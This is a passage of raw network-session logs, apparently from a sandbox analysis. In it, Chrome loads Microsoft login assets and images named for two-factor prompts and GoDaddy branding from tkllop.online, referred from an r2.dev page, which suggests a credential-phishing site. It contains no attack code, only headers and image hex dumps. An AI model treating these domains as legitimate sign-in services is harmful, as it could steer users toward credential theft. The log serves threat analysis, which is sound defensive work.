8da23e3cb9d84740-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1012&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=949&delivery_rate=2704014&cwnd=237&unsent_bytes=0&cid=a476ecb8983500ac&ts=255&x=0"
2024-10-29 09:47:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49763	152.199.21.175	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:15 UTC	679	OUT	GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 09:47:15 UTC	737	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 18920857 Cache-Control: public, max-age=31536000 Content-MD5: TjUQkZ0p0Y7rbj6LJofS9Q== Content-Type: image/svg+xml Date: Tue, 29 Oct 2024 09:47:15 GMT Etag: 0x8D79A1B9B05915D Last-Modified: Thu, 16 Jan 2020 00:32:45 GMT Server: ECAcc (lhc/7912) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 17a39001-701e-0084-32d1-7da17b000000 x-ms-version: 2009-09-19 Content-Length: 513 Connection: close
2024-10-29 09:47:15 UTC	513	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 32 34 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 34 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 31 38 2c 31 31 2e 35 37 38 76 2e 38 34 34 48 37 2e 36 31 37 6c 33 2e 39 32 31 2c 33 2e 39 32 38 2d 2e 35 39 34 2e 35 39 34 4c 36 2c 31 32 6c 34 2e 39 34 34 2d 34 2e 39 34 34 2e 35 39 34 2e 35 39 34 4c 37 2e 36 31 37 2c 31 31 2e 35 37 38 5a 22 20 66 69 6c 6c 3d 22 23 34 30 34 30 34 30 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 31 30 2e 39 34 34 2c 37 2e 30 35 36 6c 2e 35 39 34 2e 35 39 34 4c 37 2e 36 31 37 2c 31 31 2e 35 37 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><title>assets</title><path d="M18,11.578v.844H7.617l3.921,3.928-.594.594L6,12l4.944-4.944.594.594L7.617,11.578Z" fill="#404040"/><path d="M10.944,7.056l.594.594L7.617,11.57

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49767	104.21.57.143	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:16 UTC	642	OUT	GET /static/media/message_think.png HTTP/1.1 Host: e3yj1d3rjni.tkllop.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 09:47:16 UTC	1033	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:16 GMT Content-Type: image/png Content-Length: 810 Connection: close Content-Disposition: inline; filename="message_think.png" Last-Modified: Sat, 04 Nov 2023 15:29:55 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0NW6UEpJkWTt7QEI6xjuD2BFwNE800O8Pi0NH7ZHH%2BxWUfzeUTrxeqiGrnrNQyFEYcGffE4LUx0ny7cAGhupAMULCu2wChtVxKjNhtA4PZtrXpg6idjOEn9b5Z0NA8tAqCsbaOEv3xcqUX8o"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da23e425de94786-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=979&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1220&delivery_rate=2784615&cwnd=234&unsent_bytes=0&cid=0cfaf6ab6f2f09b8&ts=688&x=0"
2024-10-29 09:47:16 UTC	336	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 96 08 06 00 00 00 3c 01 71 e2 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 02 76 49 44 41 54 78 9c ed da 31 6e 13 41 18 86 e1 19 93 94 b9 02 57 a0 70 8b 58 23 41 83 10 5d a4 70 1a 38 00 27 a0 44 48 1c 82 22 de 50 73 09 da 14 34 90 d2 4b 93 36 22 0b 7c de 99 e5 79 5a 6b f7 ff 25 bf da f1 4a 2e 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 8f d4 63 0c d9 Data Ascii: PNGIHDR<qsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-vIDATx1nAWpX#A]p8'DH"Ps4K6"\|yZk%J.c
2024-10-29 09:47:16 UTC	474	IN	Data Raw: 61 11 21 2c 22 84 45 84 b0 88 10 16 11 c2 22 42 58 44 08 8b 08 61 11 21 2c 22 84 45 84 b0 88 10 16 11 c2 22 42 58 44 08 8b 08 61 11 21 2c 22 84 45 84 b0 88 10 16 11 c2 22 42 58 44 08 8b 08 61 11 21 2c 22 84 45 84 b0 88 10 16 11 c2 22 42 58 44 08 8b 08 61 11 21 2c 22 84 45 84 b0 88 10 16 11 c2 22 42 58 44 08 8b 08 61 11 21 2c 22 84 45 84 b0 88 10 16 11 c2 22 42 58 44 08 8b 08 61 11 21 2c 22 84 45 84 b0 88 10 16 11 27 4b 0e af b5 6e 87 61 b8 f7 0e 9b cd e6 fb e5 e5 e5 d7 b9 73 b6 db ed e9 d9 d9 d9 93 69 9a ea dc 6b 7b 55 6b 7d b4 e4 fc 45 c3 2a a5 bc ab f5 fe df f5 34 4d fb 52 ca d3 39 03 ce cf cf 1f 5c 5f 5f 7f 28 a5 5c cc 99 c5 df 59 f5 51 78 1b d5 c7 52 ca c5 d2 bb fc 6f 56 1b 96 a8 96 b5 ca b0 44 b5 bc d5 85 25 aa 36 ac 2a 2c 51 b5 e3 28 6f 85 fb fd 7e Data Ascii: a!,"E"BXDa!,"E"BXDa!,"E"BXDa!,"E"BXDa!,"E"BXDa!,"E"BXDa!,"E'Knasik{Uk}E4MR9\__(\YQxRoVD%6,Q(o~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49771	104.21.57.143	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:16 UTC	640	OUT	GET /static/media/auth_number.png HTTP/1.1 Host: e3yj1d3rjni.tkllop.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 09:47:16 UTC	1032	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:16 GMT Content-Type: image/png Content-Length: 2382 Connection: close Content-Disposition: inline; filename="auth_number.png" Last-Modified: Sat, 04 Nov 2023 15:30:22 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XzwdcTMkcT9WCpYHZkUu7S4iGRdDz4PlTosd6BG1OamTJq9yFtzHTyRFRgoRBeHUYisfr%2BCmCQFmaxaCDGqcM1UR1BZpL2do8h8EXtt5y9rnTnPaevXtKi1In4iRr3ijNmllJvQPdhWsDrlY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da23e425a274612-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=935&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1218&delivery_rate=2988648&cwnd=238&unsent_bytes=0&cid=556f3c4d3df45c7e&ts=624&x=0"
2024-10-29 09:47:16 UTC	337	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 96 08 06 00 00 00 3c 01 71 e2 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 08 9a 49 44 41 54 78 9c ed dd 7b 6c 5b 57 1d 07 f0 ef ef dc 3c 48 d2 48 54 eb bc 95 6d a5 b0 b6 e3 d1 81 90 a7 ad 2c ab cf 4d a3 12 aa 55 82 41 bd 3f a7 b1 49 48 55 25 b4 aa d5 ca 26 f1 c7 04 ea 63 2b d0 22 60 e2 a1 21 2a 55 53 f1 84 40 2a 0d 54 8b ed eb b6 50 1e e9 a4 0a a6 0d 36 34 36 26 Data Ascii: PNGIHDR<qsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-IDATx{l[W<HHTm,MUA?IHU%&c+"`!US@TP646&
2024-10-29 09:47:16 UTC	1369	IN	Data Raw: a2 93 30 0c 77 d5 a2 1f aa 4e 3e 9f df e7 bb 8f 26 df 1d 4c d8 5b a3 7e a8 3a de 83 65 7c 77 40 8b 13 83 45 5e 30 58 e4 05 83 45 5e d4 6a f2 5e 96 aa 0e 88 c8 c5 7a 8e e1 46 a5 aa 4b 45 24 59 af fe eb 1a 2c 00 3b f3 f9 7c be ce 63 b8 21 59 6b 43 00 b9 7a f5 cf 4b 21 79 c1 60 91 17 0c 16 79 c1 60 91 17 0c 16 79 c1 60 91 17 0c 16 79 c1 60 91 17 0c 16 79 c1 60 91 17 0c 16 79 c1 60 91 17 0c 16 79 51 ef dd 0d f3 c6 5a db 04 60 3d 80 60 f2 58 53 53 d3 2b fd fd fd 17 e6 d8 ee 92 28 8a 2e cf 75 7c d7 4b 26 93 cd 6d 6d 6d 4b 00 60 f9 f2 e5 97 32 99 4c 69 be fb a8 a7 1b 22 58 a9 54 6a b5 88 1c 02 b0 6e ea 71 e7 5c 2f 80 e3 d5 b4 b1 69 d3 a6 d6 d1 d1 d1 07 55 b5 1b c0 3d ce b9 35 22 b2 54 44 c4 5a ab 00 86 00 9c 75 ce 9d 6a 69 69 39 dc df df ff e7 6a c7 d7 d5 d5 d5 Data Ascii: 0wN>&L[~:e\|w@E^0XE^j^zFKE$Y,;\|c!YkCzK!y`y`y`y`y`y`yQZ`=`XSS+(.u\|K&mmmK`2Li"XTjnq\/iU=5"TDZujii9j
2024-10-29 09:47:16 UTC	676	IN	Data Raw: 2b 17 91 db 06 07 07 d7 cf 77 bf 3e 2d fa 60 85 61 b8 ad 52 a8 9c 73 3f 19 1f 1f bf 37 9b cd 9e f5 39 8e 4c 26 53 0a 82 e0 48 5c f9 c4 6e d7 86 b1 a8 e7 58 a9 54 6a b5 73 ee d9 a9 8b 96 93 54 55 01 3c 59 28 14 6a 39 79 fe 57 5c 81 73 6e 56 fb fa eb 65 51 07 cb 18 f3 0c 80 f6 72 65 22 f2 54 3e 9f af e9 2b 32 55 5d 1b 57 66 8c 99 f3 bc ae 96 16 6d b0 ac b5 2b 55 f5 e1 98 37 95 a3 28 8a 9e 9d 63 fb ef 01 b0 3d 91 48 7c 3d 93 c9 8c 4d 77 fe 86 0d 1b de 5f 2a 95 1e 8d 59 36 03 80 d7 e6 32 9e 5a 5b b4 c1 02 f0 50 dc 2b 40 11 09 ac b5 7b 66 d8 de cf a2 28 3a 3d f9 4d 67 67 a7 b9 7c f9 f2 ee f3 e7 cf 3f 1e 86 e1 f3 c5 62 f1 d0 c9 93 27 07 cb 75 67 ad ed 2d 16 8b df 31 c6 c4 dd ed 33 e4 9c 2b cc 70 3c 75 b5 68 83 a5 aa 9f ae f0 ec f0 c0 c4 8d 0e 55 13 91 b7 01 9c Data Ascii: +w>-`aRs?79L&SH\nXTjsTU<Y(j9yW\snVeQre"T>+2U]Wfm+U7(c=H\|=Mw_*Y62Z[P+@{f(:=Mgg\|?b'ug-13+p<uhU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49768	104.21.57.143	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:16 UTC	637	OUT	GET /static/media/call_2fa.png HTTP/1.1 Host: e3yj1d3rjni.tkllop.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 09:47:16 UTC	1036	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:16 GMT Content-Type: image/png Content-Length: 5533 Connection: close Content-Disposition: inline; filename="call_2fa.png" Last-Modified: Sat, 04 Nov 2023 15:30:38 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KQjwgrVJvMZilZEzyM%2BPw0H%2FKfHWu4Rt3AWRtVL4lTfsdzQC0ZbIWOoBfxQbW45HvVwgFRi3d%2FyKKw56XnUzYx0JjNifl8sjPnPLKs1JXeML2%2BT4k1ESos9DpISxE47uShVKKd3zzuRQq8lC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da23e425a63486e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2092&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1215&delivery_rate=1362823&cwnd=251&unsent_bytes=0&cid=2b1892252ca1738f&ts=654&x=0"
2024-10-29 09:47:16 UTC	333	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 96 08 06 00 00 00 3c 01 71 e2 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 14 e9 49 44 41 54 78 9c ed 9d 79 7c 1c c5 95 c7 df ab 92 2c d9 c8 86 24 48 21 24 f6 8c 15 d6 49 80 64 21 e6 93 25 8b 46 d5 ad 03 47 e0 e5 8c 30 21 2c a7 31 f7 0d 81 10 20 90 70 84 db 1c 31 04 58 43 20 24 9b d8 e6 5a 83 60 65 cf 74 79 ec 05 92 75 58 ae 04 96 c4 d6 88 b0 18 db 24 06 e4 03 cd Data Ascii: PNGIHDR<qsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-IDATxy\|,$H!$Id!%FG0!,1 p1XC $Z`etyuX$
2024-10-29 09:47:16 UTC	1369	IN	Data Raw: 1a 8d 46 a3 d1 68 34 1a 8d 46 a3 d1 68 34 9a 92 e0 95 0e 40 53 3e a6 69 9e d4 dc dc 6c af 5d bb f6 dd 4a c7 32 0c ab 74 00 9a f2 10 42 9c 62 db f6 7d b6 6d 5b a6 69 ce ac 74 3c c3 60 a5 03 18 89 10 a2 01 00 92 00 b0 1b 63 4c 31 c6 fe b2 7c f9 f2 37 01 80 2a 1b 59 75 62 18 c6 99 44 74 27 22 0e 7f 8f 1b 19 63 ed e9 74 fa e5 8a 06 06 55 20 ac ee ee 6e be 7e fd fa ef 00 c0 b1 00 60 20 62 dd c8 76 22 7a 0f 11 1f e5 9c cf 5f be 7c f9 1f 2a 13 65 f5 21 84 38 1b 00 6e 1f 21 aa 61 aa 42 5c 15 15 56 5b 5b 5b 6b a1 50 b8 9b 31 b6 a7 9f ad 52 4a 21 e2 dd 00 70 a9 94 72 20 86 f0 aa 16 c3 30 ce 25 a2 db 46 11 d5 30 15 17 57 c5 e6 58 a6 69 ce b3 6d 7b 59 10 51 01 00 30 c6 18 22 9e 89 88 af 98 a6 d9 16 75 7c d5 8a 10 e2 7c 00 98 ef 21 2a 20 a2 cf 10 d1 7e 31 86 f5 09 2a Data Ascii: Fh4Fh4@S>il]J2tBb}m[it<`cL1\|7YubDt'"ctU n~` bv"z_\|e!8n!aB\V[[[kP1RJ!pr 0%F0WXim{YQ0"u\|\|!* ~1*
2024-10-29 09:47:16 UTC	1369	IN	Data Raw: 2d cb 0a 32 a1 1f 13 84 96 8f 55 28 14 26 79 e4 f0 45 fe 85 0a 21 76 03 00 d7 55 27 22 be 10 75 0c db c1 0c c3 f8 19 00 cc f5 33 b4 6d fb 8e 6c 36 3b 6e 44 05 10 e2 88 c5 18 db c9 ad 0d 11 23 59 0d 0e d3 d9 d9 b9 13 22 fe 87 d7 a1 37 22 3e 15 65 0c db c1 52 a9 d4 7d 10 40 54 00 70 57 36 9b 3d 0f c6 d9 a5 dc d0 46 2c 44 a4 e1 8c ca 28 fd 6c 8f 10 a2 61 70 70 f0 71 44 74 bd ee 44 44 ef db b6 ed 99 9a 13 22 cc 30 8c fb 01 e0 44 3f 43 db b6 17 64 b3 d9 73 60 9c 89 0a 20 c4 2f 9c 88 5c 47 25 22 72 1d cd ca a1 a5 a5 e5 53 88 f8 34 00 ec ef 65 87 88 d7 af 5c b9 f2 6f 51 c4 30 12 e7 56 f7 bf 01 c0 f1 01 cc ef c9 66 b3 67 c1 38 14 15 40 88 c2 52 4a 6d 76 9b 63 79 ac 16 4b 46 08 b1 0b 22 a6 01 c0 33 7b 81 88 9e 6b 6a 6a ba 39 6c ff db d3 dd dd cd 37 6c d8 f0 00 22 Data Ascii: -2U(&yE!vU'"u3ml6;nD#Y"7">eR}@TpW6=F,D(lappqDtDD"0D?Cds` /\G%"rS4e\oQ0Vfg8@RJmvcyKF"3{kjj9l7l"
2024-10-29 09:47:16 UTC	1369	IN	Data Raw: ef fa b3 19 84 35 6b d6 6c 9e 31 63 c6 62 db b6 0f 42 c4 26 37 3b 44 6c 49 24 12 13 73 b9 9c 57 e6 ab a6 48 62 4f bf 90 52 3e 04 1e 67 7d 88 38 b5 a6 a6 e6 8e 30 7c f5 f6 f6 ae 57 4a 75 82 ff 6a f1 12 c3 30 82 bc 2e a6 09 48 25 f2 7a 14 e7 fc 64 9f 87 96 8e 15 42 7c 27 0c 67 d9 6c f6 1d db b6 db c0 47 5c 00 70 b1 61 18 77 42 4c 7b 7b 5d 5d 5d 75 e5 2e 56 aa 99 8a 1d d0 06 78 92 76 13 63 6c 9f 74 3a 9d 0b c3 5f 2a 95 fa 1c e7 3c 0d fe c7 3f f7 5b 96 75 2a 84 7c c1 b4 a3 a3 63 e7 42 a1 70 02 00 cc 56 4a 7d 83 31 36 9c 36 34 00 00 af 02 c0 52 ce f9 af 96 2f 5f be 26 4c bf 95 a2 92 c2 aa 21 a2 55 8c b1 6f b8 d9 10 d1 8b 93 27 4f 6e 59 ba 74 e9 96 30 7c 16 21 ae 5f 10 d1 89 52 ca 42 b9 3e 9d 9a 59 e7 03 c0 65 88 e8 75 d3 08 9c 34 a3 85 30 f4 c2 97 6b f5 9e b1 Data Ascii: 5kl1cbB&7;DlI$sWHbOR>g}80\|WJuj0.H%zdB\|'glG\pawBL{{]]]u.Vxvclt:_<?[u\|cBpVJ}1664R/_&L!Uo'OnYt0\|!_RB>Yeu40k
2024-10-29 09:47:16 UTC	1093	IN	Data Raw: d5 ae 0a dd 48 a7 d3 39 ce 79 0a 3c 9e 57 01 f8 fb 31 c8 25 eb d7 af 7f aa a5 a5 c5 37 17 aa da 71 92 0e 8f 02 80 75 6e 36 8c b1 c3 a1 4a 06 8b 31 27 2c 80 a1 32 46 85 42 a1 8d 88 9e f3 b3 45 c4 59 8c b1 e7 5b 5b 5b dd 6e 61 8f 19 a4 94 eb 00 e0 2c b7 76 44 fc 9c 10 e2 8b 31 86 e4 ca 98 14 16 00 80 f3 14 ef 81 44 d4 eb 67 cb 18 9b 81 88 bf 33 0c e3 54 a8 92 bf e8 52 b1 2c 6b 09 11 b9 ce a3 38 e7 bb c7 19 8f 1b 63 56 58 00 00 4e 5d ad 83 88 e8 a7 7e b6 ce 6a f2 1e c3 30 9e 6c 6b 6b fb 6c f4 d1 45 07 11 b9 26 3c da b6 5d 15 b5 57 c7 b4 b0 00 86 e6 1e 52 ca b3 88 68 9e 52 6a 30 c0 47 66 17 0a 85 97 4d d3 3c 24 f2 e0 22 c0 99 c4 7b 65 41 b8 ce c1 e2 64 cc 0b 6b 18 29 e5 7d 88 d8 4e 44 be af 62 31 c6 9a 88 e8 09 c3 30 ee 2d f5 09 96 0a 72 11 63 6c d4 9f 3b 22 Data Ascii: H9y<W1%7qun6J1',2FBEY[[[na,vD1Dg3TR,k8cVXN]~j0lkklE&<]WRhRj0GfM<$"{eAdk)}NDb10-rcl;"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49769	104.21.57.143	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:16 UTC	641	OUT	GET /static/media/godaddy-left.png HTTP/1.1 Host: e3yj1d3rjni.tkllop.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 09:47:16 UTC	1043	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:16 GMT Content-Type: image/png Content-Length: 29796 Connection: close Content-Disposition: inline; filename="godaddy-left.png" Last-Modified: Mon, 27 Nov 2023 04:08:52 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8VvGcEfBzk%2ByaAuX9wCkpaI93nEQ3X%2BoErEqHRbVI8khdf3rX8Bz1ZLYxy2EDcBJpPvCsY%2F91%2BlbLW1WKfOL2bHttwL5ihF9BXOY0ag6HTZK7URxqYbWJul7R8aLgqXm4LC0brNvVd%2FEzJ3N"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da23e425ad64792-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1921&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1219&delivery_rate=1470050&cwnd=245&unsent_bytes=0&cid=ab9c8c7d275a4457&ts=617&x=0"
2024-10-29 09:47:16 UTC	326	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 fa 00 00 01 2f 08 06 00 00 00 ad e6 03 d5 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 20 00 49 44 41 54 78 5e ec 5d 07 58 53 49 17 3d 88 20 4d b0 80 14 11 54 b0 60 03 b1 8b 58 10 c5 de c5 82 bd ae 7d 7f 5d fb ae 7d ed ab ae ae ae 65 d7 ae 6b ef 1d 7b af 28 2a 56 ec a2 a0 82 82 60 a1 f8 fe 6f 26 10 13 29 69 2f c9 cb cb cc f7 c5 48 32 73 e7 de 73 ef 9b 93 79 6f e6 8e 09 58 61 08 30 04 18 02 0c 01 86 00 43 40 b4 08 98 88 d6 32 66 18 43 80 21 c0 10 60 08 30 04 18 02 60 44 cf 82 80 21 c0 10 60 08 30 04 18 02 22 46 80 11 bd 88 9d cb 4c 63 08 30 04 18 02 0c 01 86 00 23 7a 03 8b 81 b0 1b e1 dc a1 83 07 10 15 15 85 d7 af 5e e1 d5 ab 57 f8 f6 ed 1b 0a 17 76 45 61 d7 c2 28 52 c4 0d d5 ab 57 87 6f a5 4a c8 6b Data Ascii: PNGIHDR/sRGB IDATx^]XSI= MT`X}]}ek{(*V`o&)i/H2ssyoXa0C@2fC!`0`D!`0"FLc0#z^WvEa(RWoJk
